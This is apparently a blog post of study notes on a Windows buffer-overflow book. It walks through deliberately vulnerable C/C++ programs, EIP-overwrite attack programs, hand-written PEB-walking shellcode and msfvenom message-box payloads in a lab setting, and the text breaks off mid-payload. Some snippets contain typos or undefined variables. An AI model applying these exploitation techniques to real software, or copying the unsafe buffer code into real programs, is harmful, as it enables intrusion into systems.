[Book] Windows Security Practice - Buffer Overflow

First Post:

Last Update:

Word Count:
11.3k

Read Time:
70 min

El libro

Introduction

This article is used to keep notes and summaries of the book “Windows Security Practice - Buffer Overflow”.
The content will be continuously updated as I read through the book.

Reflection

Finally, I have completed this book. I had wanted to read through it for a long time, but I was unable to do so for personal reasons.

After reading the book Reverse Engineering Core (리버스 엔지니어링 핵심 원리) Click Me!, I now have a deeper understanding of buffer overflows and the PE file format.

This book is recommended for those who want to study Windows buffer overflow techniques. I suggest that readers have a fundamental understanding of assembly language, C/C++, and reverse engineering.

There are some typos in this book. In addition, some practical exploitation experiments are difficult to replicate, as it is hard to find the vulnerable applications online (some of the URLs are no longer valid). However, if you want to learn buffer overflow techniques—from Windows XP to Windows 10, and from applications without any protections to those with ASLR and DEP—this book is still suitable for you.

Chapter 1 - Set Up

1.1 - VM and Windos XP SP3

1.2 - Tools

Dev-C++

According to the author, Dev-C++ is not recommended for software development. However, it is recommended for learning buffer overflow, as it produces executables with simpler structures.

https://sourceforge.net/projects/orwelldevcpp/

Visual C++ 2010 Express

Visual C++ 2013 Express

NASM

NASM stands for The Netwide Assembler.

OllyDbg

WinDbg

Immunity Debugger

CFF Explorer

HxD

Process Explorer

Metasploit

Chapter 2 - Change the Procedure of a Program

2.2 - Change the Procedure of a Program via Buffer Overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//File name: simplec001.c
#include <stdio.h>
#include <stdlib.h>

void func(char *str) {
char buffer[24];
int *ret;
strcpy(buffer, str);
}

int main(int argc, char** argv) {
int x = 0;
x = 0;
func(argv[1]);
x = 1;
printf("x is 1\n");
printf("x is 0\n");

system("pause");
}

2.3 - Debugging with OllyDbg

Setting parameter

OllyDbg: EP

OllyDbg: main function

1
2
3
> gdb --args SimpleC001.exe meaningless
(gdb) disassemble func
(gdb) disassemble main

gdb

  • EAX: Accumulator Register
  • ECX: Counter Register
  • EDX: Data Register
  • EBX: Base Register
  • ESP: Stack Pointer
  • EBP: Base Register
  • ESI: Source Index
  • EDI: Destination Index
  • EIP: Instruction Pointer

Here “E” stands for Extended.

OllyDbg: Pointer

OllyDbg: EAX

OllyDbg: 006B1708

OllyDbg: Stack


Modifying the address:

1
*((int*)(buffer+0x20+0x4)) += 0x14;

OllyDbg: Stack Frame

OllyDbg: C++ code, modifying the return address.

Result: x is 0. It skips 'x is 1'.

Notice that the value 0x14 and 0x20 are depend on your OS.

2.4 - Basic Buffer Overflow

Code (You may remove system("pause");):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

void func(char *str) {
char buffer[24];
int *ret;
strcpy(buffer, str);
}

int main(int argc, char** argv) {
int x = 0;
x = 0;
func(argv[1]);
x = 1;
printf("x is 1\n");
printf("x is 0\n");
}

Don’t forget to recompile your code.

Now we need to cause the program to crash. Before doing so, we need to configure OllyDbg:

Options -> Just in time debugging -> Make OllyDbg just in time debugger -> Done

Input parameter.

Here, we input 48 characters of ‘A’ and then execute the program. As a result, the program is crashed:

Program crashed.

Notice the hexadecimal representation of letter A is 0x41. From the register window of OllyDbg, EIP is overwritten by letter A.

If the input string can overwrite the EIP register, then the program has a buffer overflow vulnerability.

A buffer overflow does not necessarily exist in every program. Even if it exists, it is not always exploitable. Exploitability depends on the environment, register states, memory layout, and operating system protections.


In this example we are going to attack the vulnerable simplec001.exe from previous section (Notice that we use C++ in this example):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//File name: attack-simplec001.cpp
#include <string>
#include <sstream>
#include <cstdlib>

using namespace std;

int main(int argc, char* argv[]) {
string simplec001(argv[1]);
string buffer_overflow(40, 'A');
ostringstream sout;

sout << '\"' << simplec001 << "\" " << buffer_overflow;
system(sout.str().c_str());

system("pause");
}

1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Again, the input string length depends on OS.

Here, we have been successfully overwritten EIP with letter B. Notice that the hexadecimal representation of letter B is `0x42` ## 2.5 - Basic Shellcode
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Here, we modified the value of both EBP and EIP. Notice that the hexadecimal representation of letter C is `0x43`. --- We obtain the opcodes with WinDbg:
1
0:000> a

Write assembly code. Press enter with empty command to exit.

1
2
3
77441b52 push esp
77441b53 retn
77441b54

Search 54 and c3 in msvcrt.dll(755f0000~756af000)

1
0:000> s 755f0000 756af000 54 c3

Hence, we can the value 75687448 to overwrite EIP. Consequently, CPU jumps to 75687448 and executes 54 c3 (push esp and ret).

The following code is our attacking code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <string>
#include <sstream>
#include <cstdlib>

using namespace std;

int main(int argc, char* argv[]) {
string simplec001(argv[1]);
string junk(32, 'A');
string ebp(4, 'B');
string eip("\x48\x74\x68\x75"); // msvcert.dll 75687448, push esp # retn
string insructions("\xcc\xcc\xcc\xcc");
ostringstream sout;

sout << '\"' << simplec001 << "\" " << buffer_overflow;
system(sout.str().c_str());

system("pause");
}


To avoiding the invalid address value in EBP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <string>
#include <sstream>
#include <cstdlib>

using namespace std;

int main(int argc, char* argv[]) {
string simplec001(argv[1]);
string junk(32, 'A');
string ebp(4, 'B');
string eip("\x48\x74\x68\x75"); // msvcert.dll 75687448, push esp # retn
string instructions;
instructions +=
"\xc7\xc5\x77\x77\x77\x77" // MOV, EBP, 0x77777777
"\xc7\xc1\xdf\x89\x16\x77" // MOV ECX,0X771689DF
"\x33\xe9" // XOR EBP,ECX
"\xc7\xc0\x77\x77\x77\x77" // MOV EAX, 0x77777777
"\xc7\xc1\x2b\x62\x37\x77" // MOV ECX,0x7737622B
"\x33\xc1\x42" // XOR EAX, ECX # INC EDX
"\xff\xe0\x42"; // JMP EAX # INC EDX
ostringstream sout;

sout << '\"' << simplec001 << "\" " << junk << ebp << eip << instructions;
system(sout.str().c_str());

system("pause");
}

Chapter 3 - Change the Action of a Program

3.2 - From C Language to Shellcode

1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>

int main() {
printf("Hello, World\n");
exit(0);
}

Address of printf(): 75669E20

Address of exit(): 75656690

Convert “Hello, World!\n” into hexadecimal format:

1
2
3
> python
>>> "Hello, World!\n".encode('utf-8').hex()
'48656c6c6f2c20576f726c64210a'

1
2
3
4
48 65 6C 6C
6F 2C 20 57
6F 72 6C 64
21 0A

Assembly code:
1
2
3
4
5
PUSH 0x210A0000
PUSH 0x6F2C2057
PUSH 0x6F726C64
PUSH 0x48656C6C
PUSH ESP

Because little-endian is used in memory, the addresses must be reversed. Completed code:
1
2
3
4
5
6
7
8
9
10
11
PUSH 0x00000A21
PUSH 0x646C726F
PUSH 0x57202C6F
PUSH 0x6C6C6548
PUSH ESP
MOV ECX,0x75669E20 ; Load 75669E20 into ECX. This is the address of printf()
CALL ECX ; Call printf()
XOR EAX,EAX ; Load 0 into EAX
PUSH EAX ; Load 0 into [ESP] for exit()
MOV ECX,0x75656690 ; Load 75656690 into ECX. This is the address of exit()
CALL ECX ; Call exit()

3.3 - Using Plugin to Obtain Shellcode

We use mona and Immunity Debugger to obtain the hexadecimal shellcode.

https://github.com/corelan/mona

1
!mona assemble -s PUSH 0x00000A21 # PUSH 0x646C726F # PUSH 0x57202C6F # PUSH 0x6C6C6548 # PUSH ESP # MOV ECX,0x75669E20 # CALL ECX # XOR EAX,EAX # PUSH EAX # # MOV ECX,0x75656690 # CALL ECX

1
2
Full opcode:
\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\x54\xc7\xc1\x20\x9e\x66\x75\xff\xd1\x33\xc0\x50\xc7\xc1\x90\x66\x65\x75\xff\xd1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//TestShellcode.cpp
#include <cstdio>
using namespace std;

char shellcode[] =
"\x68\x21\x0a\x00\x00" //PUSH 0x00000A21
"\x68\x6f\x72\x6c\x64" //PUSH 0x646C726F
"\x68\x6f\x2c\x20\x57" //PUSH 0x57202C6F
"\x68\x48\x65\x6c\x6c" //PUSH 0x6C6C6548
"\x54" //PUSH ESP
"\xc7\xc1\x20\x9e\x66\x75" //MOV ECX,0x75669E20
"\xff\xd1" //CALL ECX
"\x33\xc0" //XOR EAX,EAX
"\x50" //PUSH EAX
"\xc7\xc1\x90\x66\x65\x75" //MOV ECX,0x75656690
"\xff\xd1"; //CALL ECX

typedef void (*FUNCPTR) ();

int main() {
printf("Starting to execute shellcode:\n");
FUNCPTR fp = (FUNCPTR)shellcode;
fp();

printf("This line will not be displayed since we call exit()");
}

3.4 - Using nasm_shell.rb from Metasploit to Obtain Shellcode

https://github.com/fishstiqz/nasmshell

3.5 - Using NASM to Obtain Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
//fonReadbin.cpp
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
#include <iomanip>

using namespace std;
typedef vector<unsigned char> BinaryArray;

void usage();
bool read_binary(ifstream&, BinaryArray&);
unsigned output_hex(BinaryArray const&, unsigned const);

int main(int argc, char* argv[]) {
if (argc < 2) {
usage();
return -1;
}

ifstream fin(argv[1], ios_base::binary);
if (!fin) {
cerr << "failed to open file\"" << argv[1] << "\".\n";
return -1;
}

BinaryArray array;
if (!read_binary(fin, array)) {
cerr << "failed to parsed file \"" << argv[1] << "\".\n";
return -1;
}

unsigned count_per_line = 16;
if (argc >= 3) count_per_line = atoi(argv[2]);
cout << "//Read \"" << argv[1] << "\"\n"
<< "//Size: " << array.size() << " bytes\n"
<< "//Count per line: " << count_per_line << "\n";
unsigned null_count = output_hex(array, count_per_line);
cout << "//NULL count: " << null_count << '\n';
}

unsigned output_hex(BinaryArray const &carr, unsigned const cpl) {
unsigned null = 0;
cout << "char code[] = \n\"";
for (size_t i = 1; i <= carr.size(); ++i) {
cout << "\\x" << hex << setw(2)
<< setfill('0') << (unsigned)(carr[i-1]);
if (!(i % cpl)) {
cout << "\"\n";
if (i < carr.size())
cout << '\"';
}

if (!(carr[i-1]))
++null;
}

if (carr.size() % cpl)
cout << '\"';
cout << ";\n";

return null;
}

bool read_binary(ifstream& fin, BinaryArray& arr) {
try {
unsigned file_length;

fin.seekg(0, ios::end);
file_length = fin.tellg();
fin.seekg(0, ios::beg);

arr.resize(file_length);
char *mem_buf = new char[file_length];
fin.read(mem_buf, file_length);
copy(mem_buf, mem_buf + file_length, arr.begin());
delete[] mem_buf;
} catch (...) {
return false;
}

return true;
}

void usage() {
cout << "Usage: fonReadbin <asm_bin_file> [count_per_line=16]\n"
<< "Read binary data from the file and output the hex string for C/C++\n"
<< "Version: 1.0\n"
<< "Example: ./fonReadBin shellcode.asm 32";
}

3.6 - Review the First Shellcode

Mostly, a PE file which compiled with Dev-C++ loads msvcrt.dll.

On Windows XP, a PE file typically have a fixed ImageBase.
However, starting from Windows Vista, ASLR randomizes the ImageBase.

Obtain the ImageBase Address of kernel32.dll via PEB

These three expresions are equivalent to:


1
2
3
4
5
6
7
8
9
10
11
12
13
int main()
{
__try
{
int i = 0;
}
__except(1)
{
int j = 1;
}

return 0;
}

This code has assembly codes like this:

1
2
3
4
5
6
7
8
PUSH EBP
MOV EBP,ESP
PUSH FF
PUSH 00404000
PUSH 00401140
MOV EAX,FS:[00000000]
PUSH EAX
MOV DWORD PTR FS:[00000000],ESP

We can rewrite the relationship of FS and _TEB in form of FS:[Offset]


1
0:000> dt ntdll!_CLIENT_ID

1
0:000> dt ntdll!_PEB_LDR_DATA

1
0:000> !peb

1
0:000> dt ntdll!_PEB_LDR_DATA 774b5da0

1
0:000> dt ntdll!_PEB_LDR_DATA 774b5dbc

1
0:000> dl 774b5dbc

Obtain LoadLibraryA() from the ImageBase of kernel32.dll

1
0:000> lm

1
0:000> db 75540000

1
0:000> dt _IMAGE_DOS_HEADER

1
0:000> dd (75540000+0x03c)

1
0:000> dd (75540000+0x03c) l1

1
0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER (75540000+0xe8+0x18)

1
0:000> dt ntdll!_IMAGE_DATA_DIRECTORY (75540000+0xe8+0x18+0x60)

So, the absolute address of in its virtual memory is:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;

//Source: https://github.com/wine-mirror/wine/blob/master/include/winnt.h

To obtain the data of NumberofNames, AddressOfFunctions, AddressofNames and AddressOfNameOrdinals. We have to calculate the virtual addresses using the offsets:

1
2
3
4
0:000> dd (75540000+0x93920+0x18) l1
0:000> dd (75540000+0x93920+0x1c) l1
0:000> dd (75540000+0x93920+0x20) l1
0:000> dd (75540000+0x93920+0x24) l1

Thus, the addresses of the arrays are:

1
2
3
db (0x75540000+0x3948) l40
db (0x75540000+0x95270) l40
db (0x75540000+0x96b98) l40

1
0:000> da (75540000+0x097898)

The Hash Value of a Function

1
2
3
extern char *c;
unsigned h = 0;
while (*c) h = ((h<<5) | (h>>27))+*c++;

1
2
3
4
5
6
7
8
9
10
11
12
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
1
2
3
extern char *c;
unsigned h = 0;
whle (*c) h=((h<19) | (h>>3))+*c++;

cld: clear direction-flag.
lodsb: Loads a byte, word, or doubleword from the source operand into the AL, AX, or EAX register, respectively.
ror: rotate right.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//fonSimpleHash.cpp
#include <iostream>
#include <iomanip>
#include <string>

using namespace std;
unsigned const ROTATE_CONSTANT = 13;

unsigned hash(string const &s) {
char const *c = s.c_str();
unsigned h = 0;
while (*c) h = ((h<<(32-ROTATE_CONSTANT)) | (h>>ROTATE_CONSTANT))+*c++;

return h;
}

unsigned little_endian(unsigned h) {
return (h<<24) | (h<<8 & 0x00FF0000) | (h>>8 & 0x0000FF00) | (h>>24);
}

void usage() {
cout << "Usage: fonsimplehash <Function Name> [Funtion Name #2 #3 ...]\n"
<< "Output hash values for input function names\n"
<< "Version 1.0\n"
<< "Example1: ./fonsimplehash LoadLibraryA\n"
<< "Example2: ./fonsimplehash LoadLibraryA WinExec ExitThread\n"
<< "Or you can put function names in a text file, ex: names.txt,\n"
" one function name per line, and try ./fonsimplehash < names.txt\n";
}

int main(int argc, char* argv[]) {
if (argc <= 1) usage();
else {
cout << left << setw(24) << "Function Name" << setw(12) << "Hash Value" << '\n'
<< setw(24) << "---------" << setw(12) << "-----------" << '\n';

for (int i = 1; i < argc; ++i) {
cout << setw(24) << argv[i]
<< hex << setw(12) << little_endian(hash(argv[i])) << '\n';
}
}
}

The completed shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
[Section .text]
[BITS 32]
global _start
_start:
jmp KERNEL32_BASE

FIND_FUNCTION:
pushad
mov ebp,[esp+0x24]
mov eax,[ebp+0x3c]
mov edx,[ebp+eax+0x78]
add edx,ebp
mov ecx,[edx+0x18]
mov ebx,[edx+0x20]
add ebx,ebp
FIND_FUNCTION_LOOP:
jecxz FIND_FUNCTION_END
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
COMPUTE_HASH:
xor edi,edi
xor eax,eax
cld
COMPUTE_HASH_LOOP:
lodsb
test al,al
jz COMPUTE_HASH_END
ror edi,0xd
add edi,eax
jmp COMPUTE_HASH_LOOP
COMPUTE_HASH_END:
cmp edi,[esp+0x28]
jnz FIND_FUNCTION_LOOP
mov ebx,[edx+0x24]
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edx+0x1c]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp
mov [esp+0x1c],eax
FIND_FUNCTION_END:
popad
ret

KERNEL32_BASE:
xor eax,eax
mov ebx,[fs:eax+0x30]
mov ebx,[ebx+0x0c]
add ebx,0x1c
KERNEL32_BASE_NEXT_MODULE:
mov ebx,[ebx]
mov ecx,[ebx+0x08]
mov edx,[ebx+0x20]
cmp [edx+0x18],al
jne KERNEL32_BASE_NEXT_MODULE

push 0xec0e4e48
push ecx
call FIND_FUNCTION

push 0x00006c6c
push 0x642e7472
push 0x6376736d
push esp
call eax

push 0xd5a73c1e
push eax
call FIND_FUNCTION
mov ecx,eax

mov DWORD [esp+0x04],0xcd481e74
call FIND_FUNCTION
mov edx,eax

push 0x00000A21
push 0x646C726F
push 0x57202C6F
push 0x6C6C6548
mov esi,esp
xor eax,eax
push eax
push edx
push esi
call ecx
pop edx
pop edx
call edx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <cstdio>
using namespace std;

char shellcode[] =
"\xeb\x4e\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee"
"\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"
"\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"
"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3"
"\x31\xc0\x64\x8b\x58\x30\x8b\x5b\x0c\x83\xc3\x1c\x8b\x1b\x8b\x4b"
"\x08\x8b\x53\x20\x38\x42\x18\x75\xf3\x68\x48\x4e\x0e\xec\x51\xe8"
"\x8e\xff\xff\xff\x68\x6c\x6c\x00\x00\x68\x72\x74\x2e\x64\x68\x6d"
"\x73\x76\x63\x54\xff\xd0\x68\x1e\x3c\xa7\xd5\x50\xe8\x71\xff\xff"
"\xff\x89\xc1\xc7\x44\x24\x04\x74\x1e\x48\xcd\xe8\x62\xff\xff\xff"
"\x89\xc2\x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x57\x68\x48\x65\x6c\x6c\x89\xe6\x31\xc0\x50\x52\x56\xff\xd1\x5a"
"\x5a\xff\xd2";
//NULL count: 4

typedef void (*FUNCPTR) ();

int main() {
printf("Starting to execute shellcode:\n");
FUNCPTR fp = (FUNCPTR)shellcode;
fp();

printf("This line will not be displayed since we call exit()");
}

3.7 - Metasploit Payload——Hello World! MessageBox()

3.8 - The differences of Windows Operating Systems, x32 and x64

Chapter 4 - Practical Attack

4.1 - Different Operating Systems and Compilers

DEP stands for Data Execution Prevention.

ASLR stands for Address Space Layout Randomization.

4.2 - Example: C Language

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//vulnerable001.c
//filename: vulnerable001.c

#include <stdlib.h>
#include <stdio.h>

void do_something(FILE *pfile) {
char buf[128];
fscanf(pfile, "%s", buf);

//do file reading and parsing below
//...
}

int main(int argc, char* argv[]) {
char dummp[1024];
FILE *pfile;

printf("Vulnerable001 starts...");

if (argc>=2) pfile = fopen(argv[1], "r");
if (pfile) do_something(pfile);

printf("Vulnerable001 ends...\n");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//attack-vulnerable001.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

#define FILENAME "Vulnerable001_Exploit.txt"

int main() {
string junk(140, 'A');
string eip("\xEF\xBE\xAD\xDE");
string padding("BBBBCCCCDDDDEEEEFFFFGGGG");

ofstream fout(FILENAME, ios::binary);
fout << junk << eip << padding;

cout << "Attack file: " << FILENAME << "\nOK";
}

We can use Immunity Debugger to find the opcode of PUSH ESP # RETN:

1
!mona jmp -r esp

Here we can use the address 0x7c874f13 (or others you want). Then our attack program is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//attack-vulnerable001.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

#define FILENAME "Vulnerable001_Exploit.txt"

int main() {
string junk(140, 'A');
string eip("\x13\x4f\x87\x7c"); //0x7c874f13, little-endian
string shellcode("\xcc\xcc\xcc\xcc"); //shellcode

ofstream fout(FILENAME, ios::binary);
fout << junk << eip << shellcode;

cout << "Attack file: " << FILENAME << "OK";
}

Generate shellcode with msfvenom (msfpayload is used in this book. However, it has been deprecated and replaced by msfvenom).

1
kali$ msfvenom -p windows/messagebox TEXT="Hello world" TITLE="BOF Test" -f c

Attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//attack-vulnerable001.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

#define FILENAME "Vulnerable001_Exploit.txt"

char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b"
"\x48\x18\x01\xd3\x50\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00"
"\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"
"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x09\x00\x00\x00\x42\x4f"
"\x46\x20\x54\x65\x73\x74\x00\xe8\x0c\x00\x00\x00\x48\x65"
"\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x00\x6a\x00\x68\x45"
"\x83\x56\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5";

int main() {
string junk(140, 'A');
string eip("\x13\x4f\x87\x7c"); //0x7c874f13, little-endian
string debug("\xcc\xcc\xcc\xcc");
string shellcode(buf); //shellcode

ofstream fout(FILENAME, ios::binary);
fout << junk << eip << debug << shellcode;

cout << "Attack file: " << FILENAME << "\nOK";
}

Normally, we will be failed. The reason is our shellcode contains a null character (\x00).

Now, lets solve this problem with msfvenom:

1
msfvenom -p windows/messagebox TEXT="Hello world" TITLE="BOF Test" -f c -b '\x0c\x0d\x20\x1a\x00\x0a\x0b'

Final attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//attack-vulnerable001.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

#define FILENAME "Vulnerable001_Exploit.txt"

char buf[] =
"\xb8\xd7\x13\x93\x1c\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x39\x31\x42\x12\x03\x42\x12\x83\x15\x17\x71\xe9\x65"
"\xf0\xfa\x12\x95\x01\x65\x9a\x70\x30\xb7\xf8\xf1\x61\x07"
"\x8a\x57\x8a\xec\xde\x43\x9d\x45\x94\x4d\x2a\xdb\x01\xa0"
"\xd3\x2d\x92\x6e\x17\x2f\x6e\x6c\x44\x8f\x4f\xbf\x99\xce"
"\x88\x76\xd7\x3f\x44\xdf\x9c\x92\x79\x54\xe0\x2e\x7b\xba"
"\x6e\x0e\x03\xbf\xb1\xfb\xbf\xbe\xe1\x8f\x08\xd8\x8a\xc8"
"\xa8\xd9\x5f\xb8\x2d\x10\x2b\x05\x67\x93\x2b\xfe\x43\x58"
"\xd2\xd7\x9d\x9e\x79\x16\x12\x13\x83\x5e\x95\xcb\xf6\x94"
"\xe5\x76\x01\x6f\x97\xac\x84\x70\x3f\x27\x3e\x55\xc1\xe4"
"\xd9\x1e\xcd\x41\xad\x79\xd2\x54\x62\xf2\xee\xdd\x85\xd5"
"\x66\xa5\xa1\xf1\x23\x7e\xcb\xa0\x89\xd1\xf4\xb3\x76\x8e"
"\x50\xbf\x95\xd9\xe5\x40\x66\xe6\xbb\x56\x92\x18\x44\xa7"
"\xd0\x6b\x21\xd5\x29\xb9\x87\x7d\x22\xd1\xd7\x15\xf6\x5e"
"\xfe\xe2\xf9\x75\x94\xec\xed\x7c\x69\xed\xed\x3c\x26\xab"
"\xcd\x94\xdd\x40\x7a\x14\xf6\xab\x82\x14\x06\xfc\xe7\x78"
"\x6a\x93\xc7\xf7\x1d\x19\x64\x93\xe1\xb7\x74\x33\xa7\xc4"
"\x23\xc4\xd8\x1e\xa1\xca\x4e\x51\x83\x68\xd8\x6e\x39";

int main() {
string junk(140, 'A');
string eip("\x13\x4f\x87\x7c"); //0x7c874f13, little-endian
string debug("\xcc\xcc\xcc\xcc");
string nops(8, '\x90');
string shellcode(buf); //shellcode

ofstream fout(FILENAME, ios::binary);
fout << junk << eip << nops << shellcode;

cout << "Attack file: " << FILENAME << "\nOK";
}

4.3 - Example: From C Language to C++

We need to determine whether a buffer overflow vulnerability exists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//vulnerable002.cpp
#include <iostream>
#include <fstream>

using namespace std;

void do_something(ifstream& fin) {
char buf[1024];
fin >> buf;
}

int main(int argc, char **argv) {
char dummy[1024];
ifstream fin;
cout << "Vulnerable002 starts...\n";

if (argc>=2) fin.open(argv[1]);
if(fin) do_something(fin);

cout << "Vulnerable002 ends...\n";
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//attack-vulnerable002.cpp
#include <string>
#include <fstream>
#include <iostream>

using namespace std;

#define EXPLOIT_FILENAME "Vulnerable002-Exploit.txt"

int main() {
string junk(1100, 'A');

ofstream fout(EXPLOIT_FILENAME);
fout << junk;

cout << "Output file: " << EXPLOIT_FILENAME << "\nOK";
}

[EIP]=41414141. According to the result, a buffer overflow vulnerability exists.

Determine the offset:

1
!mona pattern_create 1100

1
!mona pattern_offset 69423569

Hence, the offset is 1036.

Attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//attack-vulnerable002.cpp
#include <string>
#include <fstream>
#include <iostream>

using namespace std;

#define EXPLOIT_FILENAME "Vulnerable002-Exploit.txt"

int main() {
string junk(1036, 'A');
string eip("\xef\xbe\xad\xde");
string postdata("BBBBCCCCDDDDEEEEFFFF");

ofstream fout(EXPLOIT_FILENAME);
fout << junk << eip << postdata;

cout << "Output file: " << EXPLOIT_FILENAME << "\nOK";
}

Our exploitation is successful.

Now, we neeed to obtain the opcode of PUSH ESP # RET:

1
!mona jmp -r esp

Here, we are going to use 0x7c836b80. This is the value for EIP. Thus, our exploit script is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//attack-vulnerable002.cpp
#include <string>
#include <fstream>
#include <iostream>

using namespace std;

#define EXPLOIT_FILENAME "Vulnerable002-Exploit.txt"

char buf[] =
"\xb8\xd7\x13\x93\x1c\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x39\x31\x42\x12\x03\x42\x12\x83\x15\x17\x71\xe9\x65"
"\xf0\xfa\x12\x95\x01\x65\x9a\x70\x30\xb7\xf8\xf1\x61\x07"
"\x8a\x57\x8a\xec\xde\x43\x9d\x45\x94\x4d\x2a\xdb\x01\xa0"
"\xd3\x2d\x92\x6e\x17\x2f\x6e\x6c\x44\x8f\x4f\xbf\x99\xce"
"\x88\x76\xd7\x3f\x44\xdf\x9c\x92\x79\x54\xe0\x2e\x7b\xba"
"\x6e\x0e\x03\xbf\xb1\xfb\xbf\xbe\xe1\x8f\x08\xd8\x8a\xc8"
"\xa8\xd9\x5f\xb8\x2d\x10\x2b\x05\x67\x93\x2b\xfe\x43\x58"
"\xd2\xd7\x9d\x9e\x79\x16\x12\x13\x83\x5e\x95\xcb\xf6\x94"
"\xe5\x76\x01\x6f\x97\xac\x84\x70\x3f\x27\x3e\x55\xc1\xe4"
